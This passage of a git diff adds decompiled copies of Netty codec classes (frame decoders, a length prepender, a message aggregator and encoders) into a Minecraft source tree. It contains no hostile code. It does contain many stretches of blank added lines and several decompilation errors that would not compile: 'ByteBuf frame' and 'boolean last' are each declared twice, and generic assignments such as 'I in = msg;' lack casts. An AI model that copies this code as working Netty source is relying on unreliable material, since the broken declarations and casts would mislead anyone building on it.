+      boolean modified = false;
+      for (Object o : c) {
+        if (remove(o)) {
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(Collection<?> c)
+    {
+      boolean modified = false;
+      Iterator<String> it = iterator();
+      while (it.hasNext()) {
+        if (!c.contains(it.next())) {
+          it.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public void clear()
+    {
+      allNames.clear();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/LengthFieldBasedFrameDecoder.java b/src/minecraft/io/netty/handler/codec/LengthFieldBasedFrameDecoder.java
new file mode 100644
index 0000000..fb49c84
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/LengthFieldBasedFrameDecoder.java
@@ -0,0 +1,507 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import java.nio.ByteOrder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LengthFieldBasedFrameDecoder
+  extends ByteToMessageDecoder
+{
+  private final ByteOrder byteOrder;
+  private final int maxFrameLength;
+  private final int lengthFieldOffset;
+  private final int lengthFieldLength;
+  private final int lengthFieldEndOffset;
+  private final int lengthAdjustment;
+  private final int initialBytesToStrip;
+  private final boolean failFast;
+  private boolean discardingTooLongFrame;
+  private long tooLongFrameLength;
+  private long bytesToDiscard;
+  
+  public LengthFieldBasedFrameDecoder(int maxFrameLength, int lengthFieldOffset, int lengthFieldLength)
+  {
+    this(maxFrameLength, lengthFieldOffset, lengthFieldLength, 0, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public LengthFieldBasedFrameDecoder(int maxFrameLength, int lengthFieldOffset, int lengthFieldLength, int lengthAdjustment, int initialBytesToStrip)
+  {
+    this(maxFrameLength, lengthFieldOffset, lengthFieldLength, lengthAdjustment, initialBytesToStrip, true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public LengthFieldBasedFrameDecoder(int maxFrameLength, int lengthFieldOffset, int lengthFieldLength, int lengthAdjustment, int initialBytesToStrip, boolean failFast)
+  {
+    this(ByteOrder.BIG_ENDIAN, maxFrameLength, lengthFieldOffset, lengthFieldLength, lengthAdjustment, initialBytesToStrip, failFast);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public LengthFieldBasedFrameDecoder(ByteOrder byteOrder, int maxFrameLength, int lengthFieldOffset, int lengthFieldLength, int lengthAdjustment, int initialBytesToStrip, boolean failFast)
+  {
+    if (byteOrder == null) {
+      throw new NullPointerException("byteOrder");
+    }
+    
+    if (maxFrameLength <= 0) {
+      throw new IllegalArgumentException("maxFrameLength must be a positive integer: " + maxFrameLength);
+    }
+    
+
+
+    if (lengthFieldOffset < 0) {
+      throw new IllegalArgumentException("lengthFieldOffset must be a non-negative integer: " + lengthFieldOffset);
+    }
+    
+
+
+    if (initialBytesToStrip < 0) {
+      throw new IllegalArgumentException("initialBytesToStrip must be a non-negative integer: " + initialBytesToStrip);
+    }
+    
+
+
+    if (lengthFieldOffset > maxFrameLength - lengthFieldLength) {
+      throw new IllegalArgumentException("maxFrameLength (" + maxFrameLength + ") " + "must be equal to or greater than " + "lengthFieldOffset (" + lengthFieldOffset + ") + " + "lengthFieldLength (" + lengthFieldLength + ").");
+    }
+    
+
+
+
+
+    this.byteOrder = byteOrder;
+    this.maxFrameLength = maxFrameLength;
+    this.lengthFieldOffset = lengthFieldOffset;
+    this.lengthFieldLength = lengthFieldLength;
+    this.lengthAdjustment = lengthAdjustment;
+    lengthFieldEndOffset = (lengthFieldOffset + lengthFieldLength);
+    this.initialBytesToStrip = initialBytesToStrip;
+    this.failFast = failFast;
+  }
+  
+  protected final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    Object decoded = decode(ctx, in);
+    if (decoded != null) {
+      out.add(decoded);
+    }
+  }
+  
+
+
+
+
+
+
+  protected Object decode(ChannelHandlerContext ctx, ByteBuf in)
+    throws Exception
+  {
+    if (discardingTooLongFrame) {
+      long bytesToDiscard = this.bytesToDiscard;
+      int localBytesToDiscard = (int)Math.min(bytesToDiscard, in.readableBytes());
+      in.skipBytes(localBytesToDiscard);
+      bytesToDiscard -= localBytesToDiscard;
+      this.bytesToDiscard = bytesToDiscard;
+      
+      failIfNecessary(false);
+    }
+    
+    if (in.readableBytes() < lengthFieldEndOffset) {
+      return null;
+    }
+    
+    int actualLengthFieldOffset = in.readerIndex() + lengthFieldOffset;
+    long frameLength = getUnadjustedFrameLength(in, actualLengthFieldOffset, lengthFieldLength, byteOrder);
+    
+    if (frameLength < 0L) {
+      in.skipBytes(lengthFieldEndOffset);
+      throw new CorruptedFrameException("negative pre-adjustment length field: " + frameLength);
+    }
+    
+
+    frameLength += lengthAdjustment + lengthFieldEndOffset;
+    
+    if (frameLength < lengthFieldEndOffset) {
+      in.skipBytes(lengthFieldEndOffset);
+      throw new CorruptedFrameException("Adjusted frame length (" + frameLength + ") is less " + "than lengthFieldEndOffset: " + lengthFieldEndOffset);
+    }
+    
+
+
+    if (frameLength > maxFrameLength) {
+      long discard = frameLength - in.readableBytes();
+      tooLongFrameLength = frameLength;
+      
+      if (discard < 0L)
+      {
+        in.skipBytes((int)frameLength);
+      }
+      else {
+        discardingTooLongFrame = true;
+        this.bytesToDiscard = discard;
+        in.skipBytes(in.readableBytes());
+      }
+      failIfNecessary(true);
+      return null;
+    }
+    
+
+    int frameLengthInt = (int)frameLength;
+    if (in.readableBytes() < frameLengthInt) {
+      return null;
+    }
+    
+    if (initialBytesToStrip > frameLengthInt) {
+      in.skipBytes(frameLengthInt);
+      throw new CorruptedFrameException("Adjusted frame length (" + frameLength + ") is less " + "than initialBytesToStrip: " + initialBytesToStrip);
+    }
+    
+
+    in.skipBytes(initialBytesToStrip);
+    
+
+    int readerIndex = in.readerIndex();
+    int actualFrameLength = frameLengthInt - initialBytesToStrip;
+    ByteBuf frame = extractFrame(ctx, in, readerIndex, actualFrameLength);
+    in.readerIndex(readerIndex + actualFrameLength);
+    return frame;
+  }
+  
+
+
+
+
+
+
+
+  protected long getUnadjustedFrameLength(ByteBuf buf, int offset, int length, ByteOrder order)
+  {
+    buf = buf.order(order);
+    long frameLength;
+    switch (length) {
+    case 1: 
+      frameLength = buf.getUnsignedByte(offset);
+      break;
+    case 2: 
+      frameLength = buf.getUnsignedShort(offset);
+      break;
+    case 3: 
+      frameLength = buf.getUnsignedMedium(offset);
+      break;
+    case 4: 
+      frameLength = buf.getUnsignedInt(offset);
+      break;
+    case 8: 
+      frameLength = buf.getLong(offset);
+      break;
+    case 5: case 6: case 7: default: 
+      throw new DecoderException("unsupported lengthFieldLength: " + lengthFieldLength + " (expected: 1, 2, 3, 4, or 8)");
+    }
+    
+    return frameLength;
+  }
+  
+  private void failIfNecessary(boolean firstDetectionOfTooLongFrame) {
+    if (bytesToDiscard == 0L)
+    {
+
+      long tooLongFrameLength = this.tooLongFrameLength;
+      this.tooLongFrameLength = 0L;
+      discardingTooLongFrame = false;
+      if ((!failFast) || ((failFast) && (firstDetectionOfTooLongFrame)))
+      {
+        fail(tooLongFrameLength);
+      }
+      
+    }
+    else if ((failFast) && (firstDetectionOfTooLongFrame)) {
+      fail(this.tooLongFrameLength);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected ByteBuf extractFrame(ChannelHandlerContext ctx, ByteBuf buffer, int index, int length)
+  {
+    ByteBuf frame = ctx.alloc().buffer(length);
+    frame.writeBytes(buffer, index, length);
+    return frame;
+  }
+  
+  private void fail(long frameLength) {
+    if (frameLength > 0L) {
+      throw new TooLongFrameException("Adjusted frame length exceeds " + maxFrameLength + ": " + frameLength + " - discarded");
+    }
+    
+
+    throw new TooLongFrameException("Adjusted frame length exceeds " + maxFrameLength + " - discarding");
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/LengthFieldPrepender.java b/src/minecraft/io/netty/handler/codec/LengthFieldPrepender.java
new file mode 100644
index 0000000..fbe5c05
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/LengthFieldPrepender.java
@@ -0,0 +1,176 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class LengthFieldPrepender
+  extends MessageToByteEncoder<ByteBuf>
+{
+  private final int lengthFieldLength;
+  private final boolean lengthIncludesLengthFieldLength;
+  private final int lengthAdjustment;
+  
+  public LengthFieldPrepender(int lengthFieldLength)
+  {
+    this(lengthFieldLength, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public LengthFieldPrepender(int lengthFieldLength, boolean lengthIncludesLengthFieldLength)
+  {
+    this(lengthFieldLength, 0, lengthIncludesLengthFieldLength);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public LengthFieldPrepender(int lengthFieldLength, int lengthAdjustment)
+  {
+    this(lengthFieldLength, lengthAdjustment, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public LengthFieldPrepender(int lengthFieldLength, int lengthAdjustment, boolean lengthIncludesLengthFieldLength)
+  {
+    if ((lengthFieldLength != 1) && (lengthFieldLength != 2) && (lengthFieldLength != 3) && (lengthFieldLength != 4) && (lengthFieldLength != 8))
+    {
+
+      throw new IllegalArgumentException("lengthFieldLength must be either 1, 2, 3, 4, or 8: " + lengthFieldLength);
+    }
+    
+
+
+    this.lengthFieldLength = lengthFieldLength;
+    this.lengthIncludesLengthFieldLength = lengthIncludesLengthFieldLength;
+    this.lengthAdjustment = lengthAdjustment;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf msg, ByteBuf out) throws Exception
+  {
+    int length = msg.readableBytes() + lengthAdjustment;
+    if (lengthIncludesLengthFieldLength) {
+      length += lengthFieldLength;
+    }
+    
+    if (length < 0) {
+      throw new IllegalArgumentException("Adjusted frame length (" + length + ") is less than zero");
+    }
+    
+
+    switch (lengthFieldLength) {
+    case 1: 
+      if (length >= 256) {
+        throw new IllegalArgumentException("length does not fit into a byte: " + length);
+      }
+      
+      out.writeByte((byte)length);
+      break;
+    case 2: 
+      if (length >= 65536) {
+        throw new IllegalArgumentException("length does not fit into a short integer: " + length);
+      }
+      
+      out.writeShort((short)length);
+      break;
+    case 3: 
+      if (length >= 16777216) {
+        throw new IllegalArgumentException("length does not fit into a medium integer: " + length);
+      }
+      
+      out.writeMedium(length);
+      break;
+    case 4: 
+      out.writeInt(length);
+      break;
+    case 8: 
+      out.writeLong(length);
+      break;
+    case 5: case 6: case 7: default: 
+      throw new Error("should not reach here");
+    }
+    
+    out.writeBytes(msg, msg.readerIndex(), msg.readableBytes());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/LineBasedFrameDecoder.java b/src/minecraft/io/netty/handler/codec/LineBasedFrameDecoder.java
new file mode 100644
index 0000000..9ee17e2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/LineBasedFrameDecoder.java
@@ -0,0 +1,166 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LineBasedFrameDecoder
+  extends ByteToMessageDecoder
+{
+  private final int maxLength;
+  private final boolean failFast;
+  private final boolean stripDelimiter;
+  private boolean discarding;
+  private int discardedBytes;
+  
+  public LineBasedFrameDecoder(int maxLength)
+  {
+    this(maxLength, true, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public LineBasedFrameDecoder(int maxLength, boolean stripDelimiter, boolean failFast)
+  {
+    this.maxLength = maxLength;
+    this.failFast = failFast;
+    this.stripDelimiter = stripDelimiter;
+  }
+  
+  protected final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    Object decoded = decode(ctx, in);
+    if (decoded != null) {
+      out.add(decoded);
+    }
+  }
+  
+
+
+
+
+
+
+  protected Object decode(ChannelHandlerContext ctx, ByteBuf buffer)
+    throws Exception
+  {
+    int eol = findEndOfLine(buffer);
+    if (!discarding) {
+      if (eol >= 0)
+      {
+        int length = eol - buffer.readerIndex();
+        int delimLength = buffer.getByte(eol) == 13 ? 2 : 1;
+        
+        if (length > maxLength) {
+          buffer.readerIndex(eol + delimLength);
+          fail(ctx, length);
+          return null;
+        }
+        ByteBuf frame;
+        if (stripDelimiter) {
+          ByteBuf frame = buffer.readSlice(length);
+          buffer.skipBytes(delimLength);
+        } else {
+          frame = buffer.readSlice(length + delimLength);
+        }
+        
+        return frame.retain();
+      }
+      int length = buffer.readableBytes();
+      if (length > maxLength) {
+        discardedBytes = length;
+        buffer.readerIndex(buffer.writerIndex());
+        discarding = true;
+        if (failFast) {
+          fail(ctx, "over " + discardedBytes);
+        }
+      }
+      return null;
+    }
+    
+    if (eol >= 0) {
+      int length = discardedBytes + eol - buffer.readerIndex();
+      int delimLength = buffer.getByte(eol) == 13 ? 2 : 1;
+      buffer.readerIndex(eol + delimLength);
+      discardedBytes = 0;
+      discarding = false;
+      if (!failFast) {
+        fail(ctx, length);
+      }
+    } else {
+      discardedBytes = buffer.readableBytes();
+      buffer.readerIndex(buffer.writerIndex());
+    }
+    return null;
+  }
+  
+  private void fail(ChannelHandlerContext ctx, int length)
+  {
+    fail(ctx, String.valueOf(length));
+  }
+  
+  private void fail(ChannelHandlerContext ctx, String length) {
+    ctx.fireExceptionCaught(new TooLongFrameException("frame length (" + length + ") exceeds the allowed maximum (" + maxLength + ')'));
+  }
+  
+
+
+
+
+
+  private static int findEndOfLine(ByteBuf buffer)
+  {
+    int n = buffer.writerIndex();
+    for (int i = buffer.readerIndex(); i < n; i++) {
+      byte b = buffer.getByte(i);
+      if (b == 10)
+        return i;
+      if ((b == 13) && (i < n - 1) && (buffer.getByte(i + 1) == 10)) {
+        return i;
+      }
+    }
+    return -1;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/MessageAggregationException.java b/src/minecraft/io/netty/handler/codec/MessageAggregationException.java
new file mode 100644
index 0000000..4ceab53
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/MessageAggregationException.java
@@ -0,0 +1,39 @@
+package io.netty.handler.codec;
+
+
+
+
+
+
+
+public class MessageAggregationException
+  extends IllegalStateException
+{
+  private static final long serialVersionUID = -1995826182950310255L;
+  
+
+
+
+
+
+
+  public MessageAggregationException() {}
+  
+
+
+
+
+
+  public MessageAggregationException(String s)
+  {
+    super(s);
+  }
+  
+  public MessageAggregationException(String message, Throwable cause) {
+    super(message, cause);
+  }
+  
+  public MessageAggregationException(Throwable cause) {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/MessageAggregator.java b/src/minecraft/io/netty/handler/codec/MessageAggregator.java
new file mode 100644
index 0000000..05b0487
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/MessageAggregator.java
@@ -0,0 +1,435 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufHolder;
+import io.netty.buffer.CompositeByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.util.ReferenceCountUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MessageAggregator<I, S, C extends ByteBufHolder, O extends ByteBufHolder>
+  extends MessageToMessageDecoder<I>
+{
+  private static final int DEFAULT_MAX_COMPOSITEBUFFER_COMPONENTS = 1024;
+  private final int maxContentLength;
+  private O currentMessage;
+  private boolean handlingOversizedMessage;
+  private int maxCumulationBufferComponents = 1024;
+  
+
+
+  private ChannelHandlerContext ctx;
+  
+
+  private ChannelFutureListener continueResponseWriteListener;
+  
+
+
+  protected MessageAggregator(int maxContentLength)
+  {
+    validateMaxContentLength(maxContentLength);
+    this.maxContentLength = maxContentLength;
+  }
+  
+  protected MessageAggregator(int maxContentLength, Class<? extends I> inboundMessageType) {
+    super(inboundMessageType);
+    validateMaxContentLength(maxContentLength);
+    this.maxContentLength = maxContentLength;
+  }
+  
+  private static void validateMaxContentLength(int maxContentLength) {
+    if (maxContentLength < 0) {
+      throw new IllegalArgumentException("maxContentLength: " + maxContentLength + " (expected: >= 0)");
+    }
+  }
+  
+  public boolean acceptInboundMessage(Object msg)
+    throws Exception
+  {
+    if (!super.acceptInboundMessage(msg)) {
+      return false;
+    }
+    
+
+    I in = msg;
+    
+    return ((isContentMessage(in)) || (isStartMessage(in))) && (!isAggregated(in));
+  }
+  
+
+
+
+
+
+
+  protected abstract boolean isStartMessage(I paramI)
+    throws Exception;
+  
+
+
+
+
+
+
+  protected abstract boolean isContentMessage(I paramI)
+    throws Exception;
+  
+
+
+
+
+
+  protected abstract boolean isLastContentMessage(C paramC)
+    throws Exception;
+  
+
+
+
+
+
+  protected abstract boolean isAggregated(I paramI)
+    throws Exception;
+  
+
+
+
+
+
+  public final int maxContentLength()
+  {
+    return maxContentLength;
+  }
+  
+
+
+
+
+
+  public final int maxCumulationBufferComponents()
+  {
+    return maxCumulationBufferComponents;
+  }
+  
+
+
+
+
+
+
+  public final void setMaxCumulationBufferComponents(int maxCumulationBufferComponents)
+  {
+    if (maxCumulationBufferComponents < 2) {
+      throw new IllegalArgumentException("maxCumulationBufferComponents: " + maxCumulationBufferComponents + " (expected: >= 2)");
+    }
+    
+
+
+    if (ctx == null) {
+      this.maxCumulationBufferComponents = maxCumulationBufferComponents;
+    } else {
+      throw new IllegalStateException("decoder properties cannot be changed once the decoder is added to a pipeline.");
+    }
+  }
+  
+
+
+
+  @Deprecated
+  public final boolean isHandlingOversizedMessage()
+  {
+    return handlingOversizedMessage;
+  }
+  
+  protected final ChannelHandlerContext ctx() {
+    if (ctx == null) {
+      throw new IllegalStateException("not added to a pipeline yet");
+    }
+    return ctx;
+  }
+  
+  protected void decode(final ChannelHandlerContext ctx, I msg, List<Object> out) throws Exception
+  {
+    if (isStartMessage(msg)) {
+      handlingOversizedMessage = false;
+      if (currentMessage != null) {
+        currentMessage.release();
+        currentMessage = null;
+        throw new MessageAggregationException();
+      }
+      
+
+      S m = msg;
+      
+
+
+      Object continueResponse = newContinueResponse(m, maxContentLength, ctx.pipeline());
+      if (continueResponse != null)
+      {
+        ChannelFutureListener listener = continueResponseWriteListener;
+        if (listener == null) {
+          continueResponseWriteListener = (listener = new ChannelFutureListener()
+          {
+            public void operationComplete(ChannelFuture future) throws Exception {
+              if (!future.isSuccess()) {
+                ctx.fireExceptionCaught(future.cause());
+              }
+            }
+          });
+        }
+        
+
+        boolean closeAfterWrite = closeAfterContinueResponse(continueResponse);
+        handlingOversizedMessage = ignoreContentAfterContinueResponse(continueResponse);
+        
+        ChannelFuture future = ctx.writeAndFlush(continueResponse).addListener(listener);
+        
+        if (closeAfterWrite) {
+          future.addListener(ChannelFutureListener.CLOSE);
+          return;
+        }
+        if (handlingOversizedMessage) {
+          return;
+        }
+      } else if (isContentLengthInvalid(m, maxContentLength))
+      {
+        invokeHandleOversizedMessage(ctx, m);
+        return;
+      }
+      
+      if (((m instanceof DecoderResultProvider)) && (!((DecoderResultProvider)m).decoderResult().isSuccess())) { O aggregated;
+        O aggregated;
+        if (((m instanceof ByteBufHolder)) && (((ByteBufHolder)m).content().isReadable())) {
+          aggregated = beginAggregation(m, ((ByteBufHolder)m).content().retain());
+        } else {
+          aggregated = beginAggregation(m, Unpooled.EMPTY_BUFFER);
+        }
+        finishAggregation(aggregated);
+        out.add(aggregated);
+        return;
+      }
+      
+
+      CompositeByteBuf content = ctx.alloc().compositeBuffer(maxCumulationBufferComponents);
+      if ((m instanceof ByteBufHolder)) {
+        appendPartialContent(content, ((ByteBufHolder)m).content());
+      }
+      currentMessage = beginAggregation(m, content);
+    } else if (isContentMessage(msg)) {
+      if (currentMessage == null)
+      {
+
+        return;
+      }
+      
+
+      CompositeByteBuf content = (CompositeByteBuf)currentMessage.content();
+      
+
+      C m = (ByteBufHolder)msg;
+      
+      if (content.readableBytes() > maxContentLength - m.content().readableBytes())
+      {
+
+        S s = currentMessage;
+        invokeHandleOversizedMessage(ctx, s);
+        return;
+      }
+      
+
+      appendPartialContent(content, m.content());
+      
+
+      aggregate(currentMessage, m);
+      boolean last;
+      boolean last;
+      if ((m instanceof DecoderResultProvider)) {
+        DecoderResult decoderResult = ((DecoderResultProvider)m).decoderResult();
+        boolean last; if (!decoderResult.isSuccess()) {
+          if ((currentMessage instanceof DecoderResultProvider)) {
+            ((DecoderResultProvider)currentMessage).setDecoderResult(DecoderResult.failure(decoderResult.cause()));
+          }
+          
+          last = true;
+        } else {
+          last = isLastContentMessage(m);
+        }
+      } else {
+        last = isLastContentMessage(m);
+      }
+      
+      if (last) {
+        finishAggregation(currentMessage);
+        
+
+        out.add(currentMessage);
+        currentMessage = null;
+      }
+    } else {
+      throw new MessageAggregationException();
+    }
+  }
+  
+  private static void appendPartialContent(CompositeByteBuf content, ByteBuf partialContent) {
+    if (partialContent.isReadable()) {
+      content.addComponent(true, partialContent.retain());
+    }
+  }
+  
+
+
+
+
+
+  protected abstract boolean isContentLengthInvalid(S paramS, int paramInt)
+    throws Exception;
+  
+
+
+
+
+  protected abstract Object newContinueResponse(S paramS, int paramInt, ChannelPipeline paramChannelPipeline)
+    throws Exception;
+  
+
+
+
+
+  protected abstract boolean closeAfterContinueResponse(Object paramObject)
+    throws Exception;
+  
+
+
+
+
+  protected abstract boolean ignoreContentAfterContinueResponse(Object paramObject)
+    throws Exception;
+  
+
+
+
+
+  protected abstract O beginAggregation(S paramS, ByteBuf paramByteBuf)
+    throws Exception;
+  
+
+
+
+
+  protected void aggregate(O aggregated, C content)
+    throws Exception
+  {}
+  
+
+
+
+
+  protected void finishAggregation(O aggregated)
+    throws Exception
+  {}
+  
+
+
+
+
+  private void invokeHandleOversizedMessage(ChannelHandlerContext ctx, S oversized)
+    throws Exception
+  {
+    handlingOversizedMessage = true;
+    currentMessage = null;
+    try {
+      handleOversizedMessage(ctx, oversized);
+    }
+    finally {
+      ReferenceCountUtil.release(oversized);
+    }
+  }
+  
+
+
+
+
+
+  protected void handleOversizedMessage(ChannelHandlerContext ctx, S oversized)
+    throws Exception
+  {
+    ctx.fireExceptionCaught(new TooLongFrameException("content length exceeded " + maxContentLength() + " bytes."));
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    try
+    {
+      super.channelInactive(ctx);
+    } finally {
+      releaseCurrentMessage();
+    }
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    this.ctx = ctx;
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    try {
+      super.handlerRemoved(ctx);
+    }
+    finally
+    {
+      releaseCurrentMessage();
+    }
+  }
+  
+  private void releaseCurrentMessage() {
+    if (currentMessage != null) {
+      currentMessage.release();
+      currentMessage = null;
+      handlingOversizedMessage = false;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/MessageToByteEncoder.java b/src/minecraft/io/netty/handler/codec/MessageToByteEncoder.java
new file mode 100644
index 0000000..57fa814
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/MessageToByteEncoder.java
@@ -0,0 +1,147 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelOutboundHandlerAdapter;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.internal.TypeParameterMatcher;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MessageToByteEncoder<I>
+  extends ChannelOutboundHandlerAdapter
+{
+  private final TypeParameterMatcher matcher;
+  private final boolean preferDirect;
+  
+  protected MessageToByteEncoder()
+  {
+    this(true);
+  }
+  
+
+
+  protected MessageToByteEncoder(Class<? extends I> outboundMessageType)
+  {
+    this(outboundMessageType, true);
+  }
+  
+
+
+
+
+
+
+  protected MessageToByteEncoder(boolean preferDirect)
+  {
+    matcher = TypeParameterMatcher.find(this, MessageToByteEncoder.class, "I");
+    this.preferDirect = preferDirect;
+  }
+  
+
+
+
+
+
+
+
+  protected MessageToByteEncoder(Class<? extends I> outboundMessageType, boolean preferDirect)
+  {
+    matcher = TypeParameterMatcher.get(outboundMessageType);
+    this.preferDirect = preferDirect;
+  }
+  
+
+
+  public boolean acceptOutboundMessage(Object msg)
+    throws Exception
+  {
+    return matcher.match(msg);
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    ByteBuf buf = null;
+    try {
+      if (acceptOutboundMessage(msg))
+      {
+        I cast = msg;
+        buf = allocateBuffer(ctx, cast, preferDirect);
+        try {
+          encode(ctx, cast, buf);
+        } finally {
+          ReferenceCountUtil.release(cast);
+        }
+        
+        if (buf.isReadable()) {
+          ctx.write(buf, promise);
+        } else {
+          buf.release();
+          ctx.write(Unpooled.EMPTY_BUFFER, promise);
+        }
+        buf = null;
+      } else {
+        ctx.write(msg, promise);
+      }
+    } catch (EncoderException e) {
+      throw e;
+    } catch (Throwable e) {
+      throw new EncoderException(e);
+    } finally {
+      if (buf != null) {
+        buf.release();
+      }
+    }
+  }
+  
+
+
+
+  protected ByteBuf allocateBuffer(ChannelHandlerContext ctx, I msg, boolean preferDirect)
+    throws Exception
+  {
+    if (preferDirect) {
+      return ctx.alloc().ioBuffer();
+    }
+    return ctx.alloc().heapBuffer();
+  }
+  
+  protected abstract void encode(ChannelHandlerContext paramChannelHandlerContext, I paramI, ByteBuf paramByteBuf)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/MessageToMessageCodec.java b/src/minecraft/io/netty/handler/codec/MessageToMessageCodec.java
new file mode 100644
index 0000000..3357399
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/MessageToMessageCodec.java
@@ -0,0 +1,142 @@
+package io.netty.handler.codec;
+
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.internal.TypeParameterMatcher;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MessageToMessageCodec<INBOUND_IN, OUTBOUND_IN>
+  extends ChannelDuplexHandler
+{
+  private final MessageToMessageEncoder<Object> encoder = new MessageToMessageEncoder()
+  {
+    public boolean acceptOutboundMessage(Object msg) throws Exception
+    {
+      return MessageToMessageCodec.this.acceptOutboundMessage(msg);
+    }
+    
+    protected void encode(ChannelHandlerContext ctx, Object msg, List<Object> out)
+      throws Exception
+    {
+      MessageToMessageCodec.this.encode(ctx, msg, out);
+    }
+  };
+  
+  private final MessageToMessageDecoder<Object> decoder = new MessageToMessageDecoder()
+  {
+    public boolean acceptInboundMessage(Object msg) throws Exception
+    {
+      return MessageToMessageCodec.this.acceptInboundMessage(msg);
+    }
+    
+    protected void decode(ChannelHandlerContext ctx, Object msg, List<Object> out)
+      throws Exception
+    {
+      MessageToMessageCodec.this.decode(ctx, msg, out);
+    }
+  };
+  
+
+  private final TypeParameterMatcher inboundMsgMatcher;
+  
+  private final TypeParameterMatcher outboundMsgMatcher;
+  
+
+  protected MessageToMessageCodec()
+  {
+    inboundMsgMatcher = TypeParameterMatcher.find(this, MessageToMessageCodec.class, "INBOUND_IN");
+    outboundMsgMatcher = TypeParameterMatcher.find(this, MessageToMessageCodec.class, "OUTBOUND_IN");
+  }
+  
+
+
+
+
+
+
+  protected MessageToMessageCodec(Class<? extends INBOUND_IN> inboundMessageType, Class<? extends OUTBOUND_IN> outboundMessageType)
+  {
+    inboundMsgMatcher = TypeParameterMatcher.get(inboundMessageType);
+    outboundMsgMatcher = TypeParameterMatcher.get(outboundMessageType);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    decoder.channelRead(ctx, msg);
+  }
+  
